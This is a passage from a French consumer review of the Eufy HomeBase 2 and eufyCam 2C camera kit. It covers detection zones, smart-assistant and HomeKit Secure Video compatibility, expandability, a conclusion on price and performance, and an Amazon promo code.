<p><img class="aligncenter size-full wp-image-34928" src="media/a00d7c22.eufycam-profils-de-surveillance.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-profils-de-surveillance.jpg" alt="" width="621" height="617" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-profils-de-surveillance.jpg 621w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-profils-de-surveillance-550x546.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-profils-de-surveillance-150x150.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-profils-de-surveillance-160x160.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-profils-de-surveillance-50x50.jpg 50w" sizes="(max-width: 621px) 100vw, 621px" /></p>
<p>Lorsqu'un événement est détecté, une notification est envoyée sur le téléphone. Ce qui est dommage, à mon avis, c'est que <strong>la notification n'intègre pas une photo de la détection</strong> comme c'est le cas chez Netatmo, par exemple. Cela permettrait de jeter un coup d’œil rapide sans nécessairement se connecter.</p>
<h3>D. Zone d'alerte personnalisable</h3>
<p>C'est toujours appréciable de pouvoir agir sur les zones de détection et d'alerte sur un système de vidéosurveillance. Cela apporte une flexibilité supplémentaire et surtout c'est important pour éviter les faux positifs en fonction de l'emplacement de votre caméra.</p>
<p>Sur certains systèmes, on peut créer des zones à exclure. Là, il faut créer des zones de détection, donc la détection sera réalisée uniquement à l'intérieur des zones définies. Les zones sont simples à créer, il suffit d'en ajouter une et de l'ajuster avec les doigts.</p>
<p><img class="aligncenter size-full wp-image-34926" src="media/2b629c35.eufycam-zone-activite.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-zone-activite.jpg" alt="" width="800" height="389" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-zone-activite.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-zone-activite-550x267.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-zone-activite-150x73.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-zone-activite-768x373.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-zone-activite-160x78.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufycam-zone-activite-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h3>E. Compatibilité avec Alexa, Google Assistant, Apple HomeKit</h3>
<p>L'association avec Alexa s'effectue via la Skill "<em>EufySecurity</em>" qui nécessite d'associer son compte Eufy Security à Alexa pour qu'elle puisse accéder à vos caméras. Cela donne accès à certaines commandes, notamment "<em>Alexa, montre-moi la caméra du jardin</em>" pour visualiser l'image d'une caméra, à condition d'avoir un appareil Alexa avec un écran.</p>
<ul>
<li><strong>Compatible Apple HomeKit et Apple HomeKit Secure Video</strong></li>
</ul>
<p>Depuis ce début avril 2020, la solution Eufy est compatible avec <em>HomeKit Secure Video</em> afin de prendre en charge des fonctionnalités supplémentaires par rapport à l'utilisation simple d'<em>Apple HomeKit</em>.</p>
<p>Pour le moment, toutes les fonctionnalités de l'application Eufy Security ne sont pas prises en charge par <em>HomeKit Secure Video</em>, comme le montre ce tableau comparatif :</p>
<p><img class="aligncenter size-full wp-image-34955" src="media/c521a6ce.eufysecurity-vs-apple-homekit-secure-video.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-vs-apple-homekit-secure-video.jpg" alt="" width="575" height="651" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-vs-apple-homekit-secure-video.jpg 575w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-vs-apple-homekit-secure-video-550x623.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-vs-apple-homekit-secure-video-132x150.jpg 132w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-vs-apple-homekit-secure-video-141x160.jpg 141w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/eufysecurity-vs-apple-homekit-secure-video-44x50.jpg 44w" sizes="(max-width: 575px) 100vw, 575px" /></p>
<p>Au fur et à mesure des versions de firmware, ce tableau est amené à évoluer.</p>
<h3>F. Ajouter une caméra supplémentaire</h3>
<p>Bien que ce kit soit fourni avec deux caméras, <strong>la HomeBase 2 qui est proposée par Eufy dans cet ensemble est capable de supporter jusqu'à 16 caméras.</strong> Bien entendu, Eufy commercialise ses caméras à côté afin de vous permettre de faire évoluer votre installation.</p>
<p><strong>L'ensemble des caméras Eufy sont compatibles, notamment l'eufyCam 2C, l'eufyCam 2 ou encore l'eufyCam E.</strong></p>
<p>Le coût d'une caméra seule dépend du modèle que vous allez choisir, en effet il est possible de mixer les modèles sur votre installation. Le prix de départ est à 80 euros.</p>
<h2>VI. Conclusion</h2>
<p>Après avoir fait le tour de ce kit, il est temps de conclure à son sujet. Ce kit Eufy avec la base HomeBase 2 et les deux caméras eufyCam 2C est une belle réussite. La mise en route est simple, car nous sommes guidés pas à pas, à la fois par la notice et par l'application. Ensuite, l'application est complète et facile à utiliser, bien qu'il y ait encore quelques améliorations possibles : notamment un système de vignettes pour visualiser en même temps plusieurs caméras, ainsi que la partie authentification à améliorer pour protéger l'ouverture de l'application.</p>
<p>Les détections sont efficaces, que ce soit de jour ou de nuit, et les enregistrements vidéos sont de bonne qualité. J'ai eu le droit à quelques ratés sur la détection de nuit, ou plutôt des faux-positifs : la caméra a détectée mon chien comme étant une présence humaine et m'a envoyée une alerte. Cela ne s'est pas produit le jour. Plus gênant si vous activez l'alarme la nuit et que le système se déclenche à cause d'un chat qui passe dans le jardin... Néanmoins je n'ai pas eu ce cas de figure, et pourtant il y en a des chats...</p>
<p>Le fait que les enregistrements soient stockés sur la base Eufy directement, cela n'implique pas de frais supplémentaires pour un abonnement sur du stockage Cloud. En tout cas, cette option est proposée, mais n'est pas obligatoire, car le stockage local est là et c'est une bonne nouvelle. Pour les mieux équipés, vous pouvez piloter les caméras avec votre NAS grâce au protocole RTSP (sous réserve de compatibilité).</p>
<p>Le prix de ce kit est de 249,99 euros, ce qui me semble raisonnable par rapport à la concurrence et aux fonctionnalités proposées.</p>
<p><strong>📢🎁 Obtenez ce kit à 199,99 euros au lieu de 249,99 euros grâce au code "294VXVH3" qui est valide jusqu'au 26/04 sur Amazon : <a href="https://amzn.to/2KhdVz8" target="_blank" rel="nofollow noopener noreferrer">https://amzn.to/2KhdVz8</a></strong></p>


